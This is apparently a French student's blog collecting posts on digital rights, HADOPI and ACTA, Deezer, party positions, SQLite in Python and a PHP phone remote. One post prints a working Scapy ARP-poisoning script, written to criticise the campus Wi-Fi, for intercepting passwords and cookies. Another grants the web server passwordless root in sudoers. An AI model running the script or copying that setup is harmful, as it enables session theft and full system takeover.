Geek

Les geeks sont ils enfermés dans leur petit monde, ou est-ce l’inverse ?

Voilà la question que je me pose, à chaque fois que je parcours mes sites d’actualités et que celle-ci me choque. Et encore plus lorsque j’évoque le sujet avec d’autres gens.

J’ai l’impression d’être un original. Oui, je m’informe sur des blogs, et non, les blogs, ce n’est pas le truc de skyrock d’avant facebook (enfin, si vous me lisez, ici sur mon blog, je prêche à des convertis). Oui, sur ces blogs et ces sites d’informations « spécialisés », il est question de choses dont on n’entend pas parler à la télé.

Parce qu’elles n’intéressent que les marginaux ? Les fameux « geeks » ? On pourrait tout à fait croire que oui. Mais moi, j’ai l’impression d’avoir à faire à de véritables enjeux de société : la neutralité du Net, le logiciel libre, le combat contre les lois HADOPI, LOPPSI, le traité ACTA.

Je me dis que ce sont plutôt les autres qui cherchent l’information au mauvais endroit et qui passent à côté de ça. Cette lutte est la descendante de celle que menaient nos ancêtres de 1789. Internet est ce que les philosophes des Lumières pouvaient imaginer de mieux.

Mais, seul face à tant de gens, il y a de quoi se remettre en question. Et si je passais à côté de choses plus importantes dans l’actualité ?..

J’ai passé 5 minutes à Decitre il y a quelques jours. A peine entré, les couvertures m’aveuglent : « Sarkozy : L’impétueux », « L’Islam pour les Nuls », « Pourquoi les banlieues sont de droites »… C’est donc ça qui fait l’actualité ? Un bonhomme qui sauve la Grèce toutes les semaines, de la religion, encore et toujours ce genre de conneries ? Je passe mon chemin.

Désolé mais je n’ai vraiment pas l’impression que ces sujets ont la moindre importance vis à vis de ce qui se passe du côté du numérique. Dernier en date, le « fichier des gens honnêtes » : « La France, le premier et seul pays au monde à autoriser le fichage et la reconnaissance faciale de toute sa population. » Vous avez aussi sans doute entendu parler d’ACTA, un accord commercial discuté en secret par les lobbys, dont l’idée de fond est « comment pourrait on retreindre les libertés afin de faire plus de fric ? ». En voici quelques exemples :

  • Fouille des bagages par les agents des ayants-droit à la frontière, sur simple présomption de possession de copies d’œuvres sous copyright (art. 14 & 17)
  • Destruction des médicaments génériques à la frontière (art. 16 & 17)
  • Les fournisseurs d’accès à Internet seront « encouragés » à espionner tout ce que l’on fait sur internet (art. 27, alinéas 3 & 4)
  • Être traité comme un trafiquant de drogue, et sanctionné plus sévèrement qu’un violeur, pour avoir transporté une copie d’un film téléchargé (art. 24)
  • Le tout sous la coordination de comités réunissant États et ayants-droit qui auront le pouvoir de modifier le traité après coup : on leur signe une feuille blanche (art. 28, 36 & 42)

Quant on pense aux gens qui sont morts pour qu’on ne vive pas dans une dictature…

Bref. En voyant toutes ces infos dans le domaine étriqué de l’actualité « numérique », je me demandais si dans d’autres secteurs, il y avait des choses tout aussi préoccupantes. Je vois l’écologie, déjà. Mais pour moi, c’est déjà secondaire. Et je ne vois pas grand chose d’autre.

Alors certains penseront que c’est stupide d’aller voter en fonction de ça, mais pas moi (même si le vote utile passera sans doute par là). J’avoue qu’actuellement, toutes ces questions ne représentent que quelques lignes dans des programmes de plusieurs dizaines de pages. Mais justement, ça n’est pas normal.

Au fait, Wikipédia vient me soutenir dans ce que je dis :

Les principaux maux dont souffrirait la loi sont :

  • Lois multiples

Il s’agit de l’inflation législative galopante que nous connaissons actuellement. C’est sans doute le pire de tous les maux. Le parlement adopte de multiples lois pour des motifs divers et variés. Le problème, c’est que les députés présents ne sont pas tous juristes. Sont donc adoptées trop souvent des mesures mal écrites, incompréhensibles ou inapplicables.

  • Lois jetables

Les politiques voulant inscrire leur nom dans le marbre de la loi, ils s’empressent d’en faire adopter une. Puis on s’aperçoit que la loi a été mal écrite. Il ne reste donc plus qu’à la jeter (le plus souvent elle reste inappliquée).

  • Lois émotives

C’est une tendance forte. Elle consiste à vouloir légiférer systématiquement dès qu’un problème survient, avant même que les causes du problème soient connues. Une fois l’émotion passée, si la loi a été adoptée, on s’aperçoit souvent, là encore, que prise dans l’urgence, elle a été mal écrite.

  • Lois molles

Aussi appelées « neutrons législatifs ». C’est une loi sans contenu obligatoire, qui ne va donc avoir aucun effet en pratique. Liées aux problèmes des lois jetables et émotives.

  • Lois protectionnistes

Ce sont des lois destinées à protéger des entreprises en les préservant de la concurrence ou de l’évolution inéluctable des sciences et techniques. C’est le cas de la loi DADVSI et de HADOPI que l’on peut assimiler au fameux Locomotive Act anglais.

(On peut classer la censure des sites web au nom de la lutte contre la pédopornographie dans la catégorie « lois émotives »)

Et ne venez pas me dire que la loi, c’est aussi un détail.

Le téléchargement illégal : un manque à gagner ?

Je réalise que je n’avais jamais soulevé ce problème récurrent des débats sur le téléchargement illégal.

Ce problème, c’est l’un des fondements de la lutte acharnée du gouvernement et des lobbys. C’est l’hypothèse selon laquelle la réduction du téléchargement illégal entraînera l’augmentation des ventes des marchands de culture.

Cette hypothèse étant supposée totalement vraie, elle justifie la défense virulente de projets de lois tous plus révoltants les uns que les autres.

Mais si on nous avait menti ? Il suffit de se poser la question sérieusement. Va-t-on tuer ces pauvres petits artistes millionnaires que sont Christian Clavier et Thierry Lhermitte ? Je vais surprendre des députés UMP en disant que non. Non, le téléchargement illégal ne rend pas les riches pauvres, ne vous inquiétez pas. Certains l’ont compris, comme Lady Gaga, Radiohead ou même Noir Désir, diffusant leurs titres gratuitement sur Internet.

La gratuité et la disponibilité ne peut que les servir ; ils n’ont pas de soucis à se faire en ce qui concerne la rentabilité de leurs oeuvres car ils la savent assurée.

Ils ont bien de la chance, comparé aux pauvres petits artistes inconnus. Ce seraient donc ceux là, les grandes victimes du téléchargement illégal ?

Ben si c’était le cas, je les plaindrai, car les fichiers surveillés par hadopi (quelques centaines de films et musiques) ne sont pas les leurs, ce sont ceux des millionnaires vus précédemment. Injuste ? Mais qui a dit que Hadopi était juste ?

Non et puis, de toutes façons, c’est pas le cas. Les petits artistes comme ceux là, ce sont ceux que l’on a le plus de chances de connaître personnellement, on en a dans nos connaissances. Qu’est-ce qu’on sait d’eux ? Que leur problématique, c’est de se faire connaître, de diffuser leur musique, exactement ce que permet la mise à disposition gratuite sur Internet.

Alors oui, l’utilisation d’Internet comme outil de communication, de pub, de diffusion, de vente, clairement, ça évince les majors traditionnels (universal & co). Mais certains ont pris le tournant : http://www.mymajorcompany.com (pour la musique et le financement des artistes), ou même http://www.mywittygames.com pour financer la production de.. jeux de sociétés :)http://www.humblebundle.com est intéressant aussi : vous achetez un pack de jeux vidéos à prix libre ( = vous choisissez le prix). Vous décidez, parmi cet argent versé, combien doit être reversé aux développeurs du jeu, et combien à des oeuvres caritatives.

Tant pis pour les industries vieillissantes de la musique et du cinéma si elles n’ont pas su s’adapter, qu’elles meurent. Les gens n’arrêteront pas d’écouter ou de produire de la musique, de tourner et de regarder des films, je ne me fais pas de soucis, surtout quand de plus en plus de gens vont à des concerts et au cinéma.

Conclusion

Et si les politiques se décidaient enfin à voir en Internet une solution et non un problème ? Et s’ils arrêtaient de nous prendre le chou avec ces pauvres artistes sur la paille qu’ils prétendent défendre ? Il faut qu’ils révisent leurs hypothèses et leurs priorités. Dans le même registre, il faut qu’ils arrêtent avec cet autre argument tout pourri, celui des pédophiles qui rôdent soi disant sur le net. Je ne suis jamais tombé sur un site pédophile, et je ne tomberai probablement jamais dessus. Pourquoi ? Parce que, les sites pédophiles, ça n’existe pas vraiment, en fait. Ce rapport l’explique bien.

Le CROUS de Lyon, FAI ou pas ?

Quel est le statut du CROUS de Lyon quand celui-ci vend, pour 6 euros par mois, un code d’accès à son réseau Wi-Fi, donnant ainsi l’accès au réseau Internet ? Fournisseur d’Accès Internet ? J’imagine que non.

Parce que Internet filtré, ce n’est plus Internet. Impossible d’aller, par exemple, sur MegaUpload. Obligé de contourner cela par un proxy.

Ensuite, parce qu’un fournisseur d’accès à Internet doit, j’imagine, préciser le débit, fut-il théorique, qu’il vous vend. Là, rien n’est dit. On peut avoir de bonnes surprises, comme de très mauvaises…

Également, le code d’accès est limité à un appareil. Comment faire quand on a deux ordis ? Ou un smartphone et un ordi ? Ou les trois ? Obligé de chercher des identifiants FreeWifi ? De cracker la clé WEP du voisin ? D’utiliser son téléphone en tant que hotspot ?

Enfin, pour 6 €, vous avez droit à tout ça dans un réseau non protégé. Cela veut dire que, si vous vous êtes honnêtement acquittés de cette somme pour accéder à Facebook, vous n’êtes pas à l’abri de vous faire voler votre session par qui que ce soit.

Exemple : test.py

#! /usr/bin/python

from scapy.all import *
import sys
import time

rang = sys.argv[1]
iprouteur = sys.argv[2]

a = arping(rang, timeout=7)
d = {}
for i in range(len(a[0])) :
	d[a[0][i][1][ARP].psrc] = a[0][i][1][ARP].hwsrc

if d.has_key(iprouteur):
	d.pop(iprouteur)

while (True):
	for a in d:
		paquet_arp = Ether(dst=d[a]) / ARP(psrc=iprouteur, hwdst=d[a], pdst=a)
		sendp(paquet_arp)
	time.sleep(4)
$ sudo su
# echo 1 > /proc/sys/net/ipv4/ip_forward
# ./test.py 10.30.100-101.1-255 10.30.100.3

Ceci est une attaque de arp cache poisonning réalisable même par quelqu’un ne possédant pas de code d’accès, le faisant passer pour le routeur auprès de tous les usagers du réseau. Ainsi, tout le traffic émis par les utilisateurs passe par lui, il peut le consulter avec Wireshark par exemple, et en extraire ce que bon lui semble (mots de passes en clair, cookies pour voler votre session Facebook, Twitter, etc…).
Pas top.

Je pense qu’un code d’accès devrait être donné gratuitement à chaque étudiant, et qu’il devrait offrir un véritable accès à Internet. Quitte à ce qu’une limite de bande passante soit mise en place pour mieux répartir. Et pour sécuriser leur système : un code sous forme de clé WPA2 ?

Python SQLite

python-sqlite est un module pour Python permettant de manipuler facilement les bases de données SQLite. Je présenterai ici seulement quelques requêtes simples.

Pour l’installer sous une distribution à base de Debian :

sudo apt-get install python-sqlite

Pour l’utiliser dans un script python :

import sqlite3

Pour faire une requête de sélection sur une base de donnée :

conn = sqlite3.connect("bddemployes.sqlite")
conn.row_factory = sqlite3.Row
c = conn.cursor()
#...
c.execute("SELECT nom, prenom FROM employes ORDER BY id")
for ligne in c.fetchall() :
print ligne
#...
conn.close()

Cette requête affiche le nom et le prenom de tous les employés, a priori dans l’ordre où ils ont été insérés.

(ligne est un tuple)

Pour une suppression :

#...
c.execute("DELETE FROM employes WHERE prenom='serge'")
conn.commit()
#...

Cette requête supprime tous les employés dont le prénom est serge.

(le conn.commit est indispensable, sinon la suppression n’est pas effectuée)

Pour une insertion :

#...
c.execute("INSERT INTO employes (prenom, nom, age) VALUES ('jean', 'MARTIN', 35)")
conn.commit()
#...

Cette requête ajoute l’employé jean MARTIN, 35 ans, à la base de données.

Les champs non précisés prennent la valeur NULL (sauf ceux qui s’auto-incrémentent)

Pour une modification :

#...
c.execute("UPDATE employes SET prenom='john' WHERE nom='SMITH")
conn.commit()
#...

Cette requête va changer le prénom de tous les SMITH pour y mettre ‘john’.

Absolument rien de compliqué en somme, mais pour une utilisation basique, ces exemples suffiront :)

Si vous voulez vous entrainer, vous pouvez jouer avec les bases de données sqlite dont se sert firefox : regardez dans /home/user/.mozilla/firefox/machin.default/

Dernier truc : le logiciel multiplateforme sqliteman (dans les dépôts Debian) est un GUI sympa pour gérer des bases de données SQLite. Screenshot :

sqliteman

 

C’est^WC’était la rentrée…

Pas trop le temps d’écrire ces temps cis, entre les études (quoi que pour l’instant, le département informatique de l’INSA de Lyon n’est pas trop chronophage, mais ça ne saurait tarder), la copine fraîchement arrivée à Lyon, et les distractions personnelles.

Dans les distractions personnelles, je compte le passage d’ubuntu vers Linux Mint (base ubuntu), ce qui n’a rien de bien dépaysant, mais qui me permet d’esquiver Unity. À tous ceux qui se demanderaient « pourquoi imposent-ils cette interface aussi peu conventionnelle que configurable ? », la réponse de Mark Shuttleworth est à lire ici. En résumé, c’est pour préparer l’avenir d’ubuntu : un OS pour PC, Laptops, netbooks, tablettes, smartphones, TV, jusqu’au jour où tout aura fusionné. Bref, je suis sceptique, mais je leur souhaite bonne chance. Et au passage, un petit merci pour ubuntu tour : c’est une petite démo de l’interface générale d’ubuntu 11.10 (avec Unity donc), à tester directement dans le navigateur ! Histoire de montrer aux moldus que non, « Linux » n’est ni un virus ni un « programme en console » ;)

Autre distraction, la mise en place d’un petit serveur dans mon appart’. Aucun ventilo (proc Intel Atom), et qui fait tourner lui aussi Linux Mint (version LXDE, oui, ça n’a rien d’un OS de serveur, mais peu importe ;) ), Apache, JDownloader, et SSH.

Encore une autre, la découverte du module Scapy pour Python, un module pour manipuler les paquets réseaux, et qui permet de faire tout plein de choses intéressantes, et dont je reparlerai probablement bientôt (ce mot est à relativiser).

Et enfin, l’actualité. Actualité que j’adore suivre sur reflets.info, notamment, avec ce regard désabusé sur l’économie que j’aime tant (le regard, pas l’économie). Reflets.info en combinaison avec numerama.com pour le numérique, et on a là de la bonne lecture telle que « François Hollande change d’avis sur Hadopi et efface un ancien billet de son blog », « Une entreprise française a vendu des appareils de surveillance au gouvernement Lybien », « un eurodéputé veut installer un mouchard sur chaque appareil connecté à Internet ». Du lourd. Allez, on espère que ce nouveau mois apportera au monde la lumière, la liberté, la Net Neutrality, et la reprise en grande pompe du système capitaliste avec du +50% et du AAA partout. Ou bien du beau temps, ça sera déjà pas mal.

Y’en a qui bossent !

Attention, ce post va paraître hypocrite ;)

Je ne me plains absolument pas de mon travail. J’ai appris qu’il existait différentes tailles d’agraphes en ruinant une agrapheuse. J’ai appris qu’il existait des pièces de 10 euros. Je sais désormais remplir des chèques.

Mais quand même, c’est dur de bosser avec une application qui tourne sur IE6. Et c’est surtout dur de se retrouver obligé de surfer avec IE6, de nos jours.

Qu’un site soit horriblement moche, je m’en fiche. Qu’il m’annonce en gros et en gras que mon navigateur est une daube infâme, pareil. Ça peut inciter les gens à passer à autre chose.

Mais de là à rediriger les gens vers une page d’erreur « votre navigateur est trop ancien, téléchargez Mozilla Firefox », c’est un peu trop. Je n’ai même plus accès au contenu que proposent ces sites (et étrangement, je n’ai pas les droits d’admin sur le PC du bureau pour installer autre chose ;) ).

J’ai déjà assez à faire avec le filtre de l’entreprise, qui bloque la catégorie « social networking » (autrement dit, les blogs). Heureusement, il ne bloque ni korben.info, ni sebsauvage.net, ni lehollandaisvolant.net, ni fspot.org (sinon je n’écrirais pas maintenant ^^).

Au passage, je remercie sebsauvage, timo et tout ceux qui ont participé au projet Autoblog, car à cause de ce filtre, il m’ont déjà rendu bien des services :) . Je pense également mettre en place cela quand j’en aurai le temps. Et puis un petit proxy web anonymiseur en PHP aussi, c’est cool.

Repos !

Vacances oblige, j’ai à peine le temps de me tenir au courant de l’actualité, et encore moins de la commenter. Pourtant, il y en a des choses à dire, et heureusement que d’autres prennent le temps de le faire : je pense aux rédacteurs de Numérama, à Korben, Sebsauvage ou Timo.

Pendant ce temps, moi, je m’exaspère de l’ADSL 512k (théoriques >.<’) de mon petit village, étant à la recherche d’une distrib’ légère pour un ordinosaure récupéré. On verra déjà ce que donne Debian 6 + LXDE, si l’install marche.

Et aussi, je fête régulièrement la fin de ma prépa à l’INSA de Lyon, où je vais resigner pour 3 ans en département informatique (il était temps de se spécialiser !) :)

Ah et, il y a peu de chances pour que vous lisiez ce post peu après que je l’ai publié : mon nom de domaine fspot.tk a été supprimé !

The Dot TK Abuse and Copyright Infringement department has
visited your website today.

Unfortunately we have to say that today we cancelled your domain FSPOT.TK.
No-one can re-register this domain again at this stage. This may change
in the future.

The reason for the cancellation is that the website address
you used for your Dot TK domain name was not accessible or
did not follow the guidelines set in our terms and conditions.

Je ne vois absolument pas ce qui pose problème sur mon site, mais bon…

Me voilà maintenant avec un nom de domaine en .org (classe !), qui ne devrait pas être supprimé ni censuré sur facebook comme l’était l’autre (oui, un véritable acharnement je vous dit).

C’est quand même dommage que les noms de domaines gratuits soient si mal servis (cf également les .co.cc dans le 11ème point de cet article de sebsauvage), parce que ça échape un peu aux jeux d’argent sur les noms de domaines (10 euros par an pour une ligne dans un fichier texte, c’est cher).

Bon, du coup, bienvenue sur fspot.org :)

EDIT : Ah bah, fspot.tk est revenu ! Les boulets >.< »

Galères pour Deezer…

Galères pour les utilisateurs qui n’ont pas de compte premium, déjà : le temps d’écoute est limité à 5h par mois dorénavant. Et l’inscription au site devient donc obligatoire. Certes, 5h, c’est « déjà pas mal », ça fait genre 7 ou 8 albums, ce qui satisferait une majorité de gens. Mais pour un utilisateur habitué, 5h, c’est quand même bien peu de choses : cela représente 10 minutes d’écoute par jour, ou une seule soirée dans le mois (pour ceux qui se servent de deezer pour faire leur playlists).

Pourquoi cette décision ? Pour faire passer les gens à l’offre premium, parce que, apparemment, deezer ne rapportait pas assez.

Galères pour le développeur de l’application Freezer, qui permettait de télécharger les .mp3 de deezer. Ce programmeur vient de se prendre 15 000 euros d’amende et 6 mois de prison avec sursis… Tout ça pour avoir programmé un logiciel. Pourtant, au nom du droit à la copie privée, ceci devrait être autorisé, non ? Malheureusement, il semblerait que le droit à la copie privée n’existe pas, qu’un logiciel « destiné à la mise à disposition non autorisée d’œuvres protégées » incite les utilisateurs à faire ainsi, et soit donc lui même jugé illégal, que les faits reprochés au développeur en question soient en réalité le contournement des droits d’auteur payés par le site avec ses recettes publicitaires.

Sauf que mon AdBlock devrait aussi être illégal, du coup, non ? Et puis, contourner des DRM, c’est légal quand c’est une question d’interopérabilité. En fait, c’est le bordel. Les décisions des juges se contredisent, et les lois aussi :

Rappelons que la loi prévoit que l’on ne peut pas interdire « les copies ou reproductions strictement réservées à l’usage privé du copiste« . Mais qu’elle prévoit également l’interdiction faite aux consommateurs de contourner « les mesures techniques efficaces destinées à empêcher l’utilisation non autorisée d’une oeuvre« . Un casse-tête insolvable. [source]

Galères pour les possesseurs de Deezer, même : Universal Music les attaque en justice. Parce que Deezer utilise le (gros) catalogue d’Universal Music alors que celui ci n’a pas renouvelé son accord. En effet, Universal (et sûrement d’autres majors) estiment que les 5h d’écoutes max, c’est encore trop long, et qu’il faudrait également instaurer un nombre maximal d’écoute par morceau. C’est le cas chez Spotify, qui limite à 5 écoutes d’un même morceau par mois (mais qui autorise cependant 10h par mois).

Du coup, la galère pour les utilisateurs dont j’ai parlé au début, c’est pas la faute de Deezer, c’est la faute de ces majors, et toujours les plus gros, évidemment.

En effet, on assiste à un conflit d’intérêt :

  • Deezer est détenu à 11% par Orange
  • Universal Music appartient à Vivendi, qui détient également SFR

Or, SFR est un concurrent d’Orange, et SFR est en partenariat avec Spotify, le concurrent de Deezer ! Le but d’Universal est donc clair : rendre l’offre de deezer moins intéressante que celle de Spotify, afin de promouvoir ce dernier, et donc, indirectement SFR.

Ces énormes entreprises qui en possèdent plein d’autres sont vraiment pourries par l’argent. Bon, bien sûr, la concurrence, c’est parfois un peu dur, mais là, on a clairement un abus de position dominante dans le but de détériorer le service concurrent.

Ce qui m’embête beaucoup, c’est de retrouver là dedans SFR et Orange, qui sont des fournisseurs d’accès à internet. Dans ces guéguerres entre entreprises, on assiste à une détérioration de l’offre concurrente. Par exemple, Orange, qui détient des parts de dailymotion et de deezer, aurait donc intérêt à pourrir le traffic vers youtube ou spotify. Et inversement. Ceci est totalement contraire à la neutralité du net puisque cela incite les utilisateurs à privilégier un service donné plutôt qu’un autre. Tous les utilisateurs ne seraient donc pas vraiment connectés au même Internet.

Cette situation ne se poserait pas si les fournisseurs d’accès à internet se cantonnaient à leur job, connecter les citoyens à Internet, de façon égale, neutre, bref, s’il n’y avait pas de conflit d’intérêt.

http://www.zataz.com/news/21315/deezer–musique–ecoute–streaming–universal-music.html

Les positions de différents partis sur les libertés numériques.

Certes, on est encore à un an des présidentielles, rien n’est joué, ni figé, mais je crois que tout le monde est pressé, et puis, ce n’est pas la veille des élections qu’il faudra regarder ce que proposent les partis. Parce qu’ils vont tous commencer subitement à s’intéresser aux citoyens, et que ça sonnera un peu faux. Il ne faut pas perdre de vue ce que le gouvernement a fait depuis 4 ans…

Quand je dis que ça sonne un peu faux, ça reflète le désintérêt général des français pour la politique et la perte de confiance en leurs représentants. Je pense à des promesses non tenues, des affaires obscures dans les tribunaux, des propos outrageux, des accointances particulièrement fortes avec différents chefs de multinationales ou dictateurs étrangers…

Cette impression, on la ressent envers la plupart des politiques, peu importe leur parti. Néanmoins, il faut bien se dire que la droite actuelle en tient une bonne part de responsabilité. En même temps, elle est au pouvoir depuis 16 ans maintenant.

Du coup, la plupart des gens sont réticents quand ils voient les partis se positionner en faveur des libertés numériques. Ils sont habitués aux magouilles de l’UMP et se disent que rien de bon ne sera fait. Je ne suis pas devin, certes, mais vous non plus. Le mieux que l’on puisse faire est de se référer aux opinions individuelles des politiciens, à la position officielle de leur parti, et à leurs actions passées.

Les opinions

L’UMP, on connaît. Sarko et sa clique, les copains majors, le combo Orange-Deezer-Dailymotion, Hadopi 1, 2, 3, la censure sercète (article 4 de LOPPSI 2), le futur DPI, les agissements contraires aux directives de l’ONU et à la neutralité du Net. X

Le Parti Pirate, on connaît moins. De jeunes gens dont la seule motivation à la création d’un parti politique est justement la mise en exergue de l’enjeu qu’ils défendent, les libertés numériques. Aucune ambition de pouvoir pour le Parti Pirate français, seulement une présence symbolique sur l’échiquier politique. V

Europe Écologie – Les Verts, initialement, c’était pareil que le parti pirate, mais avec pour domaine clé l’écologie. Mais sinon, c’est le même schéma. L’intégration entre Libertés Numériques et Ecologie a été parfaitement réalisée par Europe Ecologie, contrairement à certains partis qui, après avoir ignoré l’écologie pendant des décennies, font désormais de même avec les libertés numériques. Et Eva Joly confirme cette position. V

Le MoDem : plus ambigü. Là, on peut vraiment se poser la question de l’opinion honnête de Mr Bayrou. Il a voté contre la loi LOPPSI, mais n’est pas contre le filtrage, comme en témoigne cet article et ses commentaires, et notamment l’interview énoncée ou Bayrou met finalement en avant le principe du DPI. X

Le Front de gauche : il réunit plusieurs partis dont le PCF, le PCF qui veut « l’abrogation des lois LOPPSI, HADOPI et des lois sécuritaires et liberticides » (source). V

Le Parti Socialiste : Bien que les opinions de François Hollande aient été mitigées au sujet d’Hadopi, là où le programme du parti annonce officiellement :

L’existence de réseaux libres et ouverts, accessibles en lecture et en écriture sans filtrage ni bridage, et plus généralement la « neutralité du Net » sont des principes à protéger afin de garantir la liberté d’expression, la non-discrimination et le caractère de bien commun essentiel des infrastructures numériques. Il sera de notre responsabilité d’inventer les nouveaux modèles démocratiques de l’économie de la culture et de l’information qui ne passent ni par Hadopi, ni par l’ingérence du politique dans l’audiovisuel public. À rebours des politiques répressives et régressives conduites par la droite depuis dix ans, il nous faut conclure un nouveau pacte de confiance avec les internautes.

Hollande se voyait plutôt réviser seulement certains points de la Hadopi. Finalement, il pencherait plutôt pour une abrogation pure et simple. Ça sent la démagogie, mais bon… Allez, V !

Le Front National : désolé, c’est mon blog, et je n’ai pas envie de m’attarder sur les idées de ce parti de vieux, pro-peine de mort, homophobe et xénophobe… cependant, je précise que la licence globale est envisagée et que Hadopi a été critiquée par Le Pen. Mais, ce n’est pas la liberté des citoyens ou la neutralité du net qui est défendue (il n’y a qu’à voir l’absence d’opinions du FN sur l’article 4 de la LOPPSI 2), c’est en fait le combat contre les majors américains et contre les conneries de Sarkozy (enfin, ça, c’est louable ;) ). X

Etc, y’a d’autres partis, mais ces idées sont facilement extrapolables je pense, et puis, j’ai fait le tour des plus gros.

La grande question :

Est-ce que, une fois élus, ces partis feront réellement respecter leurs idées ? Le pessimiste dira que non, l’optimiste dira que oui. Et le mec normal ? Le mec normal, on l’a vu, il n’a plus trop confiance aux politiciens, il a tendance à être pessimiste, en fait.

Allez, soyez pas comme ça, les gens. Tous les politiciens ne sont pas Sarko. Et puis il ne tient qu’à nous de râbacher leurs promesses à nos politiques. Maintenant, ils l’ont dit, c’est leur position officielle, c’est écrit noir sur blanc dans les articles, interview à l’appui. S’ils ne sont pas pressés de faire appliquer ces promesses, on les harcèlera.

Bon, je suis peut être dans la catégorie des optimistes, aussi :)

Télécommande pour PC en PHP

Sur l’android market (et surement sur l’AppStore), il y a de nombreuses applications de télécommande/remote, permettant par exemple de contrôler VLC à distance sur son ordi, ou d’autres trucs.

Le hic, c’est que déjà, ça nécessite une application sur le smartphone, en plus, souvent, il faut installer un programme spécifique sur le PC en question (et là, pas sûr qu’il existe pour Linux), et en plus, souvent, cette télécommande ne marche qu’en bluetooth ou via le réseau wifi domestique.

Voilà la mienne, compatible tout OS puisqu’il s’agit d’une page php qui exécute les actions voulues (monter/baisser le volume, mettre l’ordi en veille, lancer ou fermer certains programmes, etc, c’est à votre choix), et compatible tout smartphone ou même ordinateur puisque cette page est accessible depuis n’importe quel navigateur web. Ça peut passer par un réseau wifi domestique, mais c’est encore plus pratique de passer par Internet via Opera Unite installé sur l’ordi :)

remote

La page web accessible depuis mon mobile.

Ensuite, sur mon PC (ubuntu), je n’ai eu qu’à rajouter un fichier telecommande.php dans le dossier d’apache. Dans ce fichier, j’ai mis des liens du style :

<a href="telecommande.php?playpause">Lecture/Pause</a>

Et du code php correspondant du style :

if (isset($_GET['playpause'])) {
      system("export DISPLAY=:0.0 && sudo su fred -c 'mocp -G'");
}

Par conséquent, en appuyant sur le lien Lecture/Pause depuis mon téléphone, la commande

mocp -G

est lancée par l’utilisateur fred (moi) sur mon ordi. Il était nécessaire de passer par l’utilisateur fred dans ce cas, car c’est moi qui avait lancé le serveur mocp (qui est mon player audio. La commande mocp -G a pour effet de mettre en pause ou de reprendre la lecture d’une chanson).

Voilà deux autres exemples :

if (isset($_GET['gcolor2'])) {
      system("export DISPLAY=:0.0 && gcolor2 > /dev/null &");
}

la commande lancée est gcolor2, la partie « > /dev/null & » est nouvelle ici, elle sert à faire en sorte que la page php n’attende pas que le programme gcolor2 soit fermé pour continuer.

if (isset($_GET['killvlc'])) {
      system("export DISPLAY=:0.0 && sudo killall vlc");
}

Ici, comme c’était le cas dans mon premier exemple, le sudo est indispensable. En effet, toutes ces commandes sont lancés par apache (l’utilisateur www-data sous debian/ubuntu). Il faut donc lui conférer les droits d’administrateur pour killer les processus lancés par d’autres utilisateurs (typiquement, vlc aura par exemple été lancé par fred).

Mais comment fait www-data pour passer administrateur avec sudo ? o.O

Il faut l’y autoriser, et même l’y autoriser sans qu’il ait à entrer de mot de passe. Pour cela il faut éditer le fichier sudoers. La manipulation est expliquée ici, lisez attentivement. Par précaution, avant de modifier ce fichier, activez le compte root (désactivé par défaut sous ubuntu), sinon vous ne pourrez plus utiliser sudo en cas d’erreur :o . (Ensuite, pour re-désactiver le compte root, c’est « sudo passwd -l root »)

La ligne à rajouter dans sudoers est du style :

www-data ALL=(ALL) NOPASSWD:ALL

Attention, cette version de la ligne autorise www-data à exécuter absolument n’importe quelle commande en root et sans mot de passe : ne laissez aucune faille dans vos pages php.

Une dernière chose à faire pour que apache puisse lancer des programmes graphiques : lancez la commande

xhost local:www-data

dans un terminal. EDIT : Et faites en sorte qu’elle s’exécute au démarrage ! En plus de cela, comme on l’a vu, il est nécessaire d’écrire « export DISPLAY=:0.0 && » dans le code php, pour la même raison.

Voilà, ce sont ces quelques manips pour donner des droits supplémentaires à www-data et ces quelques conditions en php qui permettent de réaliser cette télécommande aux possibilités infinies :)

Après pour rendre cette page accessible par Opera Unite, il suffit d’y installer l’application Web Proxy et de choisir comme dossier de partage le dossier www d’apache.

Maintenant vous pouvez impressioner vos collocs en montant le son et en changeant la chanson de votre pc depuis vos toilettes. Et puis c’est pratique le soir après un film, quand le pc est loin… « Fermer VLC » -> « Mettre en veille ».